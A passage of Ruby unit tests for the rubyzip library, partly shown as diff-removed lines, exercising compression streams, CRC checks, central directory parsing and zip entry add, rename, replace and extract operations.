= "" - @outputStream.puts("hello\n", "world\n") - assert_equals("hello\nworld\n", @outputStream.buffer) - - @outputStream.buffer = "" - @outputStream.puts(["hello\n", "world\n"]) - assert_equals("hello\nworld\n", @outputStream.buffer) - - @outputStream.buffer = "" - @outputStream.puts(["hello\n", "world\n"], "bingo") - assert_equals("hello\nworld\nbingo\n", @outputStream.buffer) - - @outputStream.buffer = "" - @outputStream.puts(16, 20, 50, "hello") - assert_equals("16\n20\n50\nhello\n", @outputStream.buffer) - end -end - - -module CrcTest - def runCrcTest(compressorClass) - str = "Here's a nice little text to compute the crc for! Ho hum, it is nice nice nice nice indeed." - fakeOut = AbstractOutputStreamTest::TestOutputStream.new - - deflater = compressorClass.new(fakeOut) - deflater << str - assert_equals(0x919920fc, deflater.crc) - end -end - - - -class PassThruCompressorTest < RUNIT::TestCase - include CrcTest - - def test_size - File.open("dummy.txt", "wb") { - |file| - compressor = PassThruCompressor.new(file) - - assert_equals(0, compressor.size) - - t1 = "hello world" - t2 = "" - t3 = "bingo" - - compressor << t1 - assert_equals(compressor.size, t1.size) - - compressor << t2 - assert_equals(compressor.size, t1.size + t2.size) - - compressor << t3 - assert_equals(compressor.size, t1.size + t2.size + t3.size) - } - end - - def test_crc - runCrcTest(PassThruCompressor) - end -end - -class DeflaterTest < RUNIT::TestCase - include CrcTest - - def test_outputOperator - txt = loadFile("ziptest.rb") - deflate(txt, "deflatertest.bin") - inflatedTxt = inflate("deflatertest.bin") - assert_equals(txt, inflatedTxt) - end - - private - def loadFile(fileName) - txt = nil - File.open(fileName, "rb") { |f| txt = f.read } - end - - def deflate(data, fileName) - File.open(fileName, "wb") { - |file| - deflater = Deflater.new(file) - deflater << data - deflater.finish - assert_equals(deflater.size, data.size) - file << "trailing data for zlib with -MAX_WBITS" - } - end - - def inflate(fileName) - txt = nil - File.open(fileName, "rb") { - |file| - inflater = Inflater.new(file) - txt = inflater.read - } - end - - def test_crc - runCrcTest(Deflater) - end -end - -class ZipOutputStreamTest < RUNIT::TestCase - include AssertEntry - - TEST_ZIP = TestZipFile::TEST_ZIP2.clone - TEST_ZIP.zipName = "output.zip" - - def test_new - zos = ZipOutputStream.new(TEST_ZIP.zipName) - zos.comment = TEST_ZIP.comment - writeTestZip(zos) - zos.close - assertTestZipContents(TEST_ZIP) - end - - def test_open - ZipOutputStream.open(TEST_ZIP.zipName) { - |zos| - zos.comment = TEST_ZIP.comment - writeTestZip(zos) - } - assertTestZipContents(TEST_ZIP) - end - - def test_writingToClosedStream - assertIOErrorInClosedStream { |zos| zos << "hello world" } - assertIOErrorInClosedStream { |zos| zos.puts "hello world" } - assertIOErrorInClosedStream { |zos| zos.write "hello world" } - end - - def test_cannotOpenFile - name = TestFiles::EMPTY_TEST_DIR - begin - zos = ZipOutputStream.open(name) - rescue Exception - assert($!.kind_of?(Errno::EISDIR) || # Linux - $!.kind_of?(Errno::EEXIST) || # Windows/cygwin - $!.kind_of?(Errno::EACCES), # Windows - "Expected Errno::EISDIR (or on win/cygwin: Errno::EEXIST), but was: #{$!.type}") - end - end - - def assertIOErrorInClosedStream - assert_exception(IOError) { - zos = ZipOutputStream.new("test_putOnClosedStream.zip") - zos.close - yield zos - } - end - - def writeTestZip(zos) - TEST_ZIP.entryNames.each { - |entryName| - zos.putNextEntry(entryName) - File.open(entryName, "rb") { |f| zos.write(f.read) } - } - end -end - - - -module Enumerable - def compareEnumerables(otherEnumerable) - otherAsArray = otherEnumerable.to_a - index=0 - each_with_index { - |element, index| - return false unless yield(element, otherAsArray[index]) - } - return index+1 == otherAsArray.size - end -end - - -class ZipCentralDirectoryEntryTest < RUNIT::TestCase - - def test_readFromStream - File.open("testDirectory.bin", "rb") { - |file| - entry = ZipEntry.readCDirEntry(file) - - assert_equals("longAscii.txt", entry.name) - assert_equals(ZipEntry::DEFLATED, entry.compressionMethod) - assert_equals(106490, entry.size) - assert_equals(3784, entry.compressedSize) - assert_equals(0xfcd1799c, entry.crc) - assert_equals("", entry.comment) - - entry = ZipEntry.readCDirEntry(file) - assert_equals("empty.txt", entry.name) - assert_equals(ZipEntry::STORED, entry.compressionMethod) - assert_equals(0, entry.size) - assert_equals(0, entry.compressedSize) - assert_equals(0x0, entry.crc) - assert_equals("", entry.comment) - - entry = ZipEntry.readCDirEntry(file) - assert_equals("short.txt", entry.name) - assert_equals(ZipEntry::STORED, entry.compressionMethod) - assert_equals(6, entry.size) - assert_equals(6, entry.compressedSize) - assert_equals(0xbb76fe69, entry.crc) - assert_equals("", entry.comment) - - entry = ZipEntry.readCDirEntry(file) - assert_equals("longBinary.bin", entry.name) - assert_equals(ZipEntry::DEFLATED, entry.compressionMethod) - assert_equals(1000024, entry.size) - assert_equals(70847, entry.compressedSize) - assert_equals(0x10da7d59, entry.crc) - assert_equals("", entry.comment) - - entry = ZipEntry.readCDirEntry(file) - assert_equals(nil, entry) -# Fields that are not check by this test: -# version made by 2 bytes -# version needed to extract 2 bytes -# general purpose bit flag 2 bytes -# last mod file time 2 bytes -# last mod file date 2 bytes -# compressed size 4 bytes -# uncompressed size 4 bytes -# disk number start 2 bytes -# internal file attributes 2 bytes -# external file attributes 4 bytes -# relative offset of local header 4 bytes - -# file name (variable size) -# extra field (variable size) -# file comment (variable size) - - } - end - - def test_ReadEntryFromTruncatedZipFile - fragment="" - File.open("testDirectory.bin") { |f| fragment = f.read(12) } # cdir entry header is at least 46 bytes - fragment.extend(IOizeString) - entry = ZipEntry.new - entry.readCDirEntry(fragment) - fail "ZipError expected" - rescue ZipError - end - -end - -class ZipCentralDirectoryTest < RUNIT::TestCase - - def test_readFromStream - File.open(TestZipFile::TEST_ZIP2.zipName, "rb") { - |zipFile| - cdir = ZipCentralDirectory.readFromStream(zipFile) - - assert_equals(TestZipFile::TEST_ZIP2.entryNames.size, cdir.size) - assert(cdir.compareEnumerables(TestZipFile::TEST_ZIP2.entryNames) { - |cdirEntry, testEntryName| - cdirEntry.name == testEntryName - }) - assert_equals(TestZipFile::TEST_ZIP2.comment, cdir.comment) - } - end - - def test_readFromInvalidStream - File.open("ziptest.rb", "rb") { - |zipFile| - cdir = ZipCentralDirectory.new - cdir.readFromStream(zipFile) - } - fail "ZipError expected!" - rescue ZipError - end - - def test_ReadFromTruncatedZipFile - fragment="" - File.open("testDirectory.bin") { |f| fragment = f.read } - fragment.slice!(12) # removed part of first cdir entry. eocd structure still complete - fragment.extend(IOizeString) - entry = ZipCentralDirectory.new - entry.readFromStream(fragment) - fail "ZipError expected" - rescue ZipError - end - - def test_writeToStream - entries = [ ZipEntry.new("file.zip", "flimse", "myComment", "somethingExtra"), - ZipEntry.new("file.zip", "secondEntryName"), - ZipEntry.new("file.zip", "lastEntry.txt", "Has a comment too") ] - cdir = ZipCentralDirectory.new(entries, "my zip comment") - File.open("cdirtest.bin", "wb") { |f| cdir.writeToStream(f) } - cdirReadback = ZipCentralDirectory.new - File.open("cdirtest.bin", "rb") { |f| cdirReadback.readFromStream(f) } - - assert_equals(cdir.entries, cdirReadback.entries) - end - - def test_equality - cdir1 = ZipCentralDirectory.new([ ZipEntry.new("file.zip", "flimse", nil, - "somethingExtra"), - ZipEntry.new("file.zip", "secondEntryName"), - ZipEntry.new("file.zip", "lastEntry.txt") ], - "my zip comment") - cdir2 = ZipCentralDirectory.new([ ZipEntry.new("file.zip", "flimse", nil, - "somethingExtra"), - ZipEntry.new("file.zip", "secondEntryName"), - ZipEntry.new("file.zip", "lastEntry.txt") ], - "my zip comment") - cdir3 = ZipCentralDirectory.new([ ZipEntry.new("file.zip", "flimse", nil, - "somethingExtra"), - ZipEntry.new("file.zip", "secondEntryName"), - ZipEntry.new("file.zip", "lastEntry.txt") ], - "comment?") - cdir4 = ZipCentralDirectory.new([ ZipEntry.new("file.zip", "flimse", nil, - "somethingExtra"), - ZipEntry.new("file.zip", "lastEntry.txt") ], - "comment?") - assert_equals(cdir1, cdir1) - assert_equals(cdir1, cdir2) - - assert(cdir1 != cdir3) - assert(cdir2 != cdir3) - assert(cdir2 != cdir3) - assert(cdir3 != cdir4) - - assert(cdir3 != "hello") - end -end - - -class BasicZipFileTest < RUNIT::TestCase - include AssertEntry - - def setup - @zipFile = ZipFile.new(TestZipFile::TEST_ZIP2.zipName) - @testEntryNameIndex=0 - end - - def nextTestEntryName - retVal=TestZipFile::TEST_ZIP2.entryNames[@testEntryNameIndex] - @testEntryNameIndex+=1 - return retVal - end - - def test_entries - assert_equals(TestZipFile::TEST_ZIP2.entryNames, @zipFile.entries.map {|e| e.name} ) - end - - def test_each - @zipFile.each { - |entry| - assert_equals(nextTestEntryName, entry.name) - } - assert_equals(4, @testEntryNameIndex) - end - - def test_foreach - ZipFile.foreach(TestZipFile::TEST_ZIP2.zipName) { - |entry| - assert_equals(nextTestEntryName, entry.name) - } - assert_equals(4, @testEntryNameIndex) - end - - def test_getInputStream - @zipFile.each { - |entry| - assertEntry(nextTestEntryName, @zipFile.getInputStream(entry), - entry.name) - } - assert_equals(4, @testEntryNameIndex) - end - - def test_getInputStreamBlock - fileAndEntryName = @zipFile.entries.first.name - @zipFile.getInputStream(fileAndEntryName) { - |zis| - assertEntryContentsForStream(fileAndEntryName, - zis, - fileAndEntryName) - } - end -end - -class CommonZipFileFixture < RUNIT::TestCase - include AssertEntry - - EMPTY_FILENAME = "emptyZipFile.zip" - - TEST_ZIP = TestZipFile::TEST_ZIP2.clone - TEST_ZIP.zipName = "4entry_copy.zip" - - def setup - File.delete(EMPTY_FILENAME) if File.exists?(EMPTY_FILENAME) - File.copy(TestZipFile::TEST_ZIP2.zipName, TEST_ZIP.zipName) - end -end - -class ZipFileTest < CommonZipFileFixture - - def test_createFromScratch - comment = "a short comment" - - zf = ZipFile.new(EMPTY_FILENAME, ZipFile::CREATE) - zf.comment = comment - zf.close - - zfRead = ZipFile.new(EMPTY_FILENAME) - assert_equals(comment, zfRead.comment) - assert_equals(0, zfRead.entries.length) - end - - def test_add - srcFile = "ziptest.rb" - entryName = "newEntryName.rb" - assert(File.exists? srcFile) - zf = ZipFile.new(EMPTY_FILENAME, ZipFile::CREATE) - zf.add(entryName, srcFile) - zf.close - - zfRead = ZipFile.new(EMPTY_FILENAME) - assert_equals("", zfRead.comment) - assert_equals(1, zfRead.entries.length) - assert_equals(entryName, zfRead.entries.first.name) - AssertEntry.assertContents(srcFile, - zfRead.getInputStream(entryName) { |zis| zis.read }) - end - - def test_addExistingEntryName - assert_exception(ZipEntryExistsError) { - ZipFile.open(TEST_ZIP.zipName) { - |zf| - zf.add(zf.entries.first.name, "ziptest.rb") - } - } - end - - def test_addExistingEntryNameReplace - gotCalled = false - replacedEntry = nil - ZipFile.open(TEST_ZIP.zipName) { - |zf| - replacedEntry = zf.entries.first.name - zf.add(replacedEntry, "ziptest.rb") { gotCalled = true; true } - } - assert(gotCalled) - ZipFile.open(TEST_ZIP.zipName) { - |zf| - assertContains(zf, replacedEntry, "ziptest.rb") - } - end - - def test_addDirectory - ZipFile.open(TEST_ZIP.zipName) { - |zf| - zf.add(TestFiles::EMPTY_TEST_DIR, TestFiles::EMPTY_TEST_DIR) - } - ZipFile.open(TEST_ZIP.zipName) { - |zf| - dirEntry = zf.entries.detect { |e| e.name == TestFiles::EMPTY_TEST_DIR+"/" } - assert(dirEntry.isDirectory) - } - end - - def test_remove - entryToRemove, *remainingEntries = TEST_ZIP.entryNames - - File.copy(TestZipFile::TEST_ZIP2.zipName, TEST_ZIP.zipName) - - zf = ZipFile.new(TEST_ZIP.zipName) - assert(zf.entries.map { |e| e.name }.include?(entryToRemove)) - zf.remove(entryToRemove) - assert(! zf.entries.map { |e| e.name }.include?(entryToRemove)) - assert_equals(zf.entries.map {|x| x.name }.sort, remainingEntries.sort) - zf.close - - zfRead = ZipFile.new(TEST_ZIP.zipName) - assert(! zfRead.entries.map { |e| e.name }.include?(entryToRemove)) - assert_equals(zfRead.entries.map {|x| x.name }.sort, remainingEntries.sort) - zfRead.close - end - - - def test_rename - entryToRename, *remainingEntries = TEST_ZIP.entryNames - - zf = ZipFile.new(TEST_ZIP.zipName) - assert(zf.entries.map { |e| e.name }.include? entryToRename) - - newName = "changed name" - assert(! zf.entries.map { |e| e.name }.include?(newName)) - - zf.rename(entryToRename, newName) - assert(zf.entries.map { |e| e.name }.include? newName) - - zf.close - - zfRead = ZipFile.new(TEST_ZIP.zipName) - assert(zfRead.entries.map { |e| e.name }.include? newName) - zfRead.close - end - - def test_renameToExistingEntry - oldEntries = nil - ZipFile.open(TEST_ZIP.zipName) { |zf| oldEntries = zf.entries } - - assert_exception(ZipEntryExistsError) { - ZipFile.open(TEST_ZIP.zipName) { - |zf| - zf.rename(zf.entries[0], zf.entries[1].name) - } - } - - ZipFile.open(TEST_ZIP.zipName) { - |zf| - assert_equals(oldEntries.map{ |e| e.name }, zf.entries.map{ |e| e.name }) - } - end - - def test_renameToExistingEntryOverwrite - oldEntries = nil - ZipFile.open(TEST_ZIP.zipName) { |zf| oldEntries = zf.entries } - - gotCalled = false - ZipFile.open(TEST_ZIP.zipName) { - |zf| - zf.rename(zf.entries[0], zf.entries[1].name) { gotCalled = true; true } - } - - assert(gotCalled) - oldEntries.delete_at(0) - ZipFile.open(TEST_ZIP.zipName) { - |zf| - assert_equals(oldEntries.map{ |e| e.name }, - zf.entries.map{ |e| e.name }) - } - end - - def test_renameNonEntry - nonEntry = "bogusEntry" - targetEntry = "targetEntryName" - zf = ZipFile.new(TEST_ZIP.zipName) - assert(! zf.entries.include?(nonEntry)) - assert_exception(ZipNoSuchEntryError) { - zf.rename(nonEntry, targetEntry) - } - zf.commit - assert(! zf.entries.include?(targetEntry)) - ensure - zf.close - end - - def test_renameEntryToExistingEntry - entry1, entry2, *remaining = TEST_ZIP.entryNames - zf = ZipFile.new(TEST_ZIP.zipName) - assert_exception(ZipEntryExistsError) { - zf.rename(entry1, entry2) - } - ensure - zf.close - end - - def test_replace - unchangedEntries = TEST_ZIP.entryNames.dup - entryToReplace = unchangedEntries.delete_at(2) - newEntrySrcFilename = "ziptest.rb" - - zf = ZipFile.new(TEST_ZIP.zipName) - zf.replace(entryToReplace, newEntrySrcFilename) - - zf.close - - zfRead = ZipFile.new(TEST_ZIP.zipName) - AssertEntry::assertContents(newEntrySrcFilename, - zfRead.getInputStream(entryToReplace) { |is| is.read }) - zfRead.close - end - - def test_replaceNonEntry - entryToReplace = "nonExistingEntryname" - ZipFile.open(TEST_ZIP.zipName) { - |zf| - assert_exception(ZipNoSuchEntryError) { - zf.replace(entryToReplace, "ziptest.rb") - } - } - end - - def test_commit - newName = "renamedFirst" - zf = ZipFile.new(TEST_ZIP.zipName) - oldName = zf.entries.first - zf.rename(oldName, newName) - zf.commit - - zfRead = ZipFile.new(TEST_ZIP.zipName) - assert(zfRead.entries.detect { |e| e.name == newName } != nil) - assert(zfRead.entries.detect { |e| e.name == oldName } == nil) - zfRead.close - - zf.close - end - - # This test tests that after commit, you - # can delete the file you used to add the entry to the zip file - # with - def test_commitUseZipEntry - File.copy(TestFiles::RANDOM_ASCII_FILE1, "okToDelete.txt") - zf = ZipFile.open(TEST_ZIP.zipName) - zf.add("okToDelete.txt", "okToDelete.txt") - assertContains(zf, "okToDelete.txt") - zf.commit - File.move("okToDelete.txt", "okToDeleteMoved.txt") - assertContains(zf, "okToDelete.txt", "okToDeleteMoved.txt") - end - -# def test_close -# zf = ZipFile.new(TEST_ZIP.zipName) -# zf.close -# assert_exception(IOError) { -# zf.extract(TEST_ZIP.entryNames.first, "hullubullu") -# } -# end - - def test_compound1 - renamedName = "renamedName" - originalEntries = [] - begin - zf = ZipFile.new(TEST_ZIP.zipName) - originalEntries = zf.entries.dup - - assertNotContains(zf, TestFiles::RANDOM_ASCII_FILE1) - zf.add(TestFiles::RANDOM_ASCII_FILE1, - TestFiles::RANDOM_ASCII_FILE1) - assertContains(zf, TestFiles::RANDOM_ASCII_FILE1) - - zf.rename(zf.entries[0], renamedName) - assertContains(zf, renamedName) - - TestFiles::BINARY_TEST_FILES.each { - |filename| - zf.add(filename, filename) - assertContains(zf, filename) - } - - assertContains(zf, originalEntries.last.to_s) - zf.remove(originalEntries.last.to_s) - assertNotContains(zf, originalEntries.last.to_s) - - ensure - zf.close - end - begin - zfRead = ZipFile.new(TEST_ZIP.zipName) - assertContains(zfRead, TestFiles::RANDOM_ASCII_FILE1) - assertContains(zfRead, renamedName) - TestFiles::BINARY_TEST_FILES.each { - |filename| - assertContains(zfRead, filename) - } - assertNotContains(zfRead, originalEntries.last.to_s) - ensure - zfRead.close - end - end - - def test_compound2 - begin - zf = ZipFile.new(TEST_ZIP.zipName) - originalEntries = zf.entries.dup - - originalEntries.each { - |entry| - zf.remove(entry) - assertNotContains(zf, entry) - } - assert(zf.entries.empty?) - - TestFiles::ASCII_TEST_FILES.each { - |filename| - zf.add(filename, filename) - assertContains(zf, filename) - } - assert_equals(zf.entries.map { |e| e.name }, TestFiles::ASCII_TEST_FILES) - - zf.rename(TestFiles::ASCII_TEST_FILES[0], "newName") - assertNotContains(zf, TestFiles::ASCII_TEST_FILES[0]) - assertContains(zf, "newName") - ensure - zf.close - end - begin - zfRead = ZipFile.new(TEST_ZIP.zipName) - asciiTestFiles = TestFiles::ASCII_TEST_FILES.dup - asciiTestFiles.shift - asciiTestFiles.each { - |filename| - assertContains(zf, filename) - } - - assertContains(zf, "newName") - ensure - zfRead.close - end - end - - private - def assertContains(zf, entryName, filename = entryName) - assert(zf.entries.detect { |e| e.name == entryName} != nil, "entry #{entryName} not in #{zf.entries.join(', ')} in zip file #{zf}") - assertEntryContents(zf, entryName, filename) if File.exists?(filename) - end - - def assertNotContains(zf, entryName) - assert(zf.entries.detect { |e| e.name == entryName} == nil, "entry #{entryName} in #{zf.entries.join(', ')} in zip file #{zf}") - end -end - -class ZipFileExtractTest < CommonZipFileFixture - EXTRACTED_FILENAME = "extEntry" - ENTRY_TO_EXTRACT, *REMAINING_ENTRIES = TEST_ZIP.entryNames.reverse - - def setup - super - File.delete(EXTRACTED_FILENAME) if File.exists?(EXTRACTED_FILENAME) - end - - def test_extract - ZipFile.open(TEST_ZIP.zipName) { - |zf| - zf.extract(ENTRY_TO_EXTRACT, EXTRACTED_FILENAME) - - assert(File.exists? EXTRACTED_FILENAME) - AssertEntry::assertContents(EXTRACTED_FILENAME, - zf.getInputStream(ENTRY_TO_EXTRACT) { |is| is.read }) - } - end - - def test_extractExists - writtenText = "written text" - File.open(EXTRACTED_FILENAME, "w") { |f| f.write(writtenText) } - - assert_exception(ZipDestinationFileExistsError) { - ZipFile.open(TEST_ZIP.zipName) { - |zf| - zf.extract(zf.entries.first, EXTRACTED_FILENAME) - } - } - File.open(EXTRACTED_FILENAME, "r") { - |f| - assert_equals(writtenText, f.read) - } - end - - def test_extractExistsOverwrite - writtenText = "written text" - File.open(EXTRACTED_FILENAME, "w") { |f| f.write(writtenText) } - - gotCalled = false - ZipFile.open(TEST_ZIP.zipName) { - |zf| - zf.extract(zf.entries.first, EXTRACTED_FILENAME) { gotCalled = true; true } - } - - assert(gotCalled) - File.open(EXTRACTED_FILENAME, "r") { - |f| - assert(writtenText != f.read) - } - end - - def test_extractNonEntry - zf = ZipFile.new(TEST_ZIP.zipName) - assert_exception(ZipNoSuchEntryError) { zf.extract("nonExistingEntry", "nonExistingEntry") } - ensure - zf.close if zf - end - - def test_extractNonEntry2 - outFile = "outfile" - assert_exception(ZipNoSuchEntryError) { - zf = ZipFile.new(TEST_ZIP.zipName) - nonEntry = "hotdog-diddelidoo" - assert(! zf.entries.include?(nonEntry)) - zf.extract(nonEntry, outFile) - zf.close - } - assert(! File.exists?(outFile)) - end - -end - -class ZipFileExtractDirectoryTest < CommonZipFileFixture - TEST_OUT_NAME = "emptyOutDir" - - def openZip(&aProc) - assert(aProc != nil) - ZipFile.open(TestZipFile::TEST_ZIP4.zipName, &aProc) - end - - def extractTestDir(&aProc) - openZip { - |zf| - zf.extract(TestFiles::EMPTY_TEST_DIR, TEST_OUT_NAME, &aProc) - } - end - - def setup - super - - Dir.rmdir(TEST_OUT_NAME) if File.directory? TEST_OUT_NAME - File.delete(TEST_OUT_NAME) if File.exists? TEST_OUT_NAME - end - - def test_extractDirectory - extractTestDir - assert(File.directory? TEST_OUT_NAME) - end - - def test_extractDirectoryExistsAsDir - Dir.mkdir TEST_OUT_NAME - extractTestDir - assert(File.directory? TEST_OUT_NAME) - end - - def test_extractDirectoryExistsAsFile - File.open(TEST_OUT_NAME, "w") { |f| f.puts "something" } - assert_exception(ZipDestinationFileExistsError) { extractTestDir } - end - - def test_extractDirectoryExistsAsFileOverwrite - File.open(TEST_OUT_NAME, "w") { |f| f.puts "something" } - gotCalled = false - extractTestDir { - |entry, destPath| - gotCalled = true - assert_equals(TEST_OUT_NAME, destPath) - assert(entry.isDirectory) - true - } - assert(gotCalled) - assert(File.directory? TEST_OUT_NAME) - end -end - - -TestFiles::createTestFiles(ARGV.index("recreate") != nil || - ARGV.index("recreateonly") != nil) -TestZipFile::createTestZips(ARGV.index("recreate") != nil || - ARGV.index("recreateonly") != nil) -exit if ARGV.index("recreateonly") != nil - -#require 'runit/cui/testrunner' -#RUNIT::CUI::TestRunner.run(ZipFileTest.suite) - -# Copyright (C) 2002 Thomas Sondergaard -# rubyzip is free software; you can redistribute it and/or -# modify it under the terms of the ruby license. -#!/usr/bin/env ruby - -$VERBOSE = true - -require 'rubyunit' -require 'zip' - -include Zip - -Dir.chdir "test" - -class AbstractInputStreamTest < RUNIT::TestCase - # AbstractInputStream subclass that provides a read method - - TEST_LINES = [ "Hello world#{$/}", - "this is the second line#{$/}", - "this is the last line"] - TEST_STRING = TEST_LINES.join - class TestAbstractInputStream - include AbstractInputStream - def initialize(aString) - @contents = aString - @readPointer = 0 - end - - def read(charsToRead) - retVal=@contents[@readPointer, charsToRead] - @readPointer+=charsToRead - return retVal - end - - def produceInput - read(100) - end - - def inputFinished? - @contents[@readPointer] == nil - end - end - - def setup - @io = TestAbstractInputStream.new(TEST_STRING) - end - - def test_gets - assert_equals(TEST_LINES[0], @io.gets) - assert_equals(TEST_LINES[1], @io.gets) - assert_equals(TEST_LINES[2], @io.gets) - assert_equals(nil, @io.gets) - end - - def test_getsMultiCharSeperator - assert_equals("Hell", @io.gets("ll")) - assert_equals("o world#{$/}this is the second l", @io.gets("d l")) - end - - def test_each_line - lineNumber=0 - @io.each_line { - |line| - assert_equals(TEST_LINES[lineNumber], line) - lineNumber+=1 - } - end - - def test_readlines - assert_equals(TEST_LINES, @io.readlines) - end - - def test_readline - test_gets - begin - @io.readline - fail "EOFError expected" - rescue EOFError - end - end -end - -class ZipEntryTest < RUNIT::TestCase - TEST_ZIPFILE = "someZipFile.zip" - TEST_COMMENT = "a comment" - TEST_COMPRESSED_SIZE = 1234 - TEST_CRC = 325324 - TEST_EXTRA = "Some data here" - TEST_COMPRESSIONMETHOD = ZipEntry::DEFLATED - TEST_NAME = "entry name" - TEST_SIZE = 8432 - TEST_ISDIRECTORY = false - - def test_constructorAndGetters - entry = ZipEntry.new(TEST_ZIPFILE, - TEST_NAME, - TEST_COMMENT, - TEST_EXTRA, - TEST_COMPRESSED_SIZE, - TEST_CRC, - TEST_COMPRESSIONMETHOD, - TEST_SIZE) - - assert_equals(TEST_COMMENT, entry.comment) - assert_equals(TEST_COMPRESSED_SIZE, entry.compressedSize) - assert_equals(TEST_CRC, entry.crc) - assert_equals(TEST_EXTRA, entry.extra) - assert_equals(TEST_COMPRESSIONMETHOD, entry.compressionMethod) - assert_equals(TEST_NAME, entry.name) - assert_equals(TEST_SIZE, entry.size) - assert_equals(TEST_ISDIRECTORY, entry.isDirectory) - end - - def test_equality - entry1 = ZipEntry.new("file.zip", "name", "isNotCompared", - "something extra", 123, 1234, - ZipEntry::DEFLATED, 10000) - entry2 = ZipEntry.new("file.zip", "name", "isNotComparedXXX", - "something extra", 123, 1234, - ZipEntry::DEFLATED, 10000) - entry3 = ZipEntry.new("file.zip", "name2", "isNotComparedXXX", - "something extra", 123, 1234, - ZipEntry::DEFLATED, 10000) - entry4 = ZipEntry.new("file.zip", "name2", "isNotComparedXXX", - "something extraXX", 123, 1234, - ZipEntry::DEFLATED, 10000) - entry5 = ZipEntry.new("file.zip", "name2", "isNotComparedXXX", - "something extraXX", 12, 1234, - ZipEntry::DEFLATED, 10000) - entry6 = ZipEntry.new("file.zip", "name2", "isNotComparedXXX", - "something extraXX", 12, 123, - ZipEntry::DEFLATED, 10000) - entry7 = ZipEntry.new("file.zip", "name2", "isNotComparedXXX", - "something extraXX", 12, 123, - ZipEntry::STORED, 10000) - entry8 = ZipEntry.new("file.zip", "name2", "isNotComparedXXX", - "something extraXX", 12, 123, - ZipEntry::STORED, 100000) - - assert_equals(entry1, entry1) - assert_equals(entry1, entry2) - - assert(entry2 != entry3) - assert(entry3 != entry4) - assert(entry4 != entry5) - assert(entry5 != entry6) - assert(entry6 != entry7) - assert(entry7 != entry8) - - assert(entry7 != "hello") - assert(entry7 != 12) - end -end - -module IOizeString - attr_reader :tell - - def read(count = nil) - @tell ||= 0 - count = size unless count - retVal = slice(@tell, count) - @tell += count - return retVal - end - - def seek(index, offset) - @tell ||= 0 - case offset - when IO::SEEK_END - newPos = size + index - when IO::SEEK_SET - newPos = index - when IO::SEEK_CUR - newPos = @tell + index - else - raise "Error in test method IOizeString::seek" - end - if (newPos < 0 || newPos >= size) - raise Errno::EINVAL - else - @tell=newPos - end - end - - def reset - @tell = 0 - end -end - -class ZipLocalEntryTest < RUNIT::TestCase - def test_readLocalEntryHeaderOfFirstTestZipEntry - File.open(TestZipFile::TEST_ZIP3.zipName) { - |file| - entry = ZipEntry.readLocalEntry(file) - - assert_equal("", entry.comment) - # Differs from windows and unix because of CR LF - # assert_equal(480, entry.compressedSize) - # assert_equal(0x2a27930f, entry.crc) - # extra field is 21 bytes long - # probably contains some unix attrutes or something - # disabled: assert_equal(nil, entry.extra) - assert_equal(ZipEntry::DEFLATED, entry.compressionMethod) - assert_equal(TestZipFile::TEST_ZIP3.entryNames[0], entry.name) - assert_equal(File.size(TestZipFile::TEST_ZIP3.entryNames[0]), entry.size) - assert(! entry.isDirectory) - } - end - - def test_readLocalEntryFromNonZipFile - File.open("ziptest.rb") { - |file| - assert_equals(nil, ZipEntry.readLocalEntry(file)) - } - end - - def test_readLocalEntryFromTruncatedZipFile - zipFragment="" - File.open(TestZipFile::TEST_ZIP2.zipName) { |f| zipFragment = f.read(12) } # local header is at least 30 bytes - zipFragment.extend(IOizeString).reset - entry = ZipEntry.new - entry.readLocalEntry(zipFragment) - fail "ZipError expected" - rescue ZipError - end - - def test_writeEntry - entry = ZipEntry.new("file.zip", "entryName", "my little comment", - "thisIsSomeExtraInformation", 100, 987654, - ZipEntry::DEFLATED, 400) - writeToFile("localEntryHeader.bin", "centralEntryHeader.bin", entry) - entryReadLocal, entryReadCentral = readFromFile("localEntryHeader.bin", "centralEntryHeader.bin") - compareLocalEntryHeaders(entry, entryReadLocal) - compareCDirEntryHeaders(entry, entryReadCentral) - end - - private - def compareLocalEntryHeaders(entry1, entry2) - assert_equals(entry1.compressedSize , entry2.compressedSize) - assert_equals(entry1.crc , entry2.crc) - assert_equals(entry1.extra , entry2.extra) - assert_equals(entry1.compressionMethod, entry2.compressionMethod) - assert_equals(entry1.name , entry2.name) - assert_equals(entry1.size , entry2.size) - assert_equals(entry1.localHeaderOffset, entry2.localHeaderOffset) - end - - def compareCDirEntryHeaders(entry1, entry2) - compareLocalEntryHeaders(entry1, entry2) - assert_equals(entry1.comment, entry2.comment) - end - - def writeToFile(localFileName, centralFileName, entry) - File.open(localFileName, "wb") { |f| entry.writeLocalEntry(f) } - File.open(centralFileName, "wb") { |f| entry.writeCDirEntry(f) } - end - - def readFromFile(localFileName, centralFileName) - localEntry = nil - cdirEntry = nil - File.open(localFileName, "rb") { |f| localEntry = ZipEntry.readLocalEntry(f) } - File.open(centralFileName, "rb") { |f| cdirEntry = ZipEntry.readCDirEntry(f) } - return [localEntry, cdirEntry] - end -end - - -module DecompressorTests - # expects @refText and @decompressor - - def test_readEverything - assert_equals(@refText, @decompressor.read) - end - - def test_readInChunks - chunkSize = 5 - while (decompressedChunk = @decompressor.read(chunkSize)) - assert_equals(@refText.slice!(0, chunkSize), decompressedChunk) - end - assert_equals(0, @refText.size) - end -end - -class InflaterTest < RUNIT::TestCase - include DecompressorTests - - def setup - @file = File.new("file1.txt.deflatedData", "rb") - @refText="" - File.open("file1.txt") { |f| @refText = f.read } - @decompressor = Inflater.new(@file) - end - - def teardown - @file.close - end -end - - -class PassThruDecompressorTest < RUNIT::TestCase - include DecompressorTests - TEST_FILE="file1.txt" - def setup - @file = File.new(TEST_FILE) - @refText="" - File.open(TEST_FILE) { |f| @refText = f.read } - @decompressor = PassThruDecompressor.new(@file, File.size(TEST_FILE)) - end - - def teardown - @file.close - end -end - - -module AssertEntry - def assertNextEntry(filename, zis) - assertEntry(filename, zis, zis.getNextEntry.name) - end - - def assertEntry(filename, zis, entryName) - assert_equals(filename, entryName) - assertEntryContentsForStream(filename, zis, entryName) - end - - def assertEntryContentsForStream(filename, zis, entryName) - File.open(filename, "rb") { - |file| - expected = file.read - actual = zis.read - if (expected != actual) - if (expected.length > 400 || actual.length > 400) - zipEntryFilename=entryName+".zipEntry" - File.open(zipEntryFilename, "wb") { |file| file << actual } - fail("File '#{filename}' is different from '#{zipEntryFilename}'") - else - assert_equals(expected, actual) - end - end - } - end - - def AssertEntry.assertContents(filename, aString) - fileContents = "" - File.open(filename, "rb") { |f| fileContents = f.read } - if (fileContents != aString) - if (expected.length > 400 || actual.length > 400) - stringFile = filename + ".other" - File.open(stringFile, "wb") { |f| f << aString } - fail("File 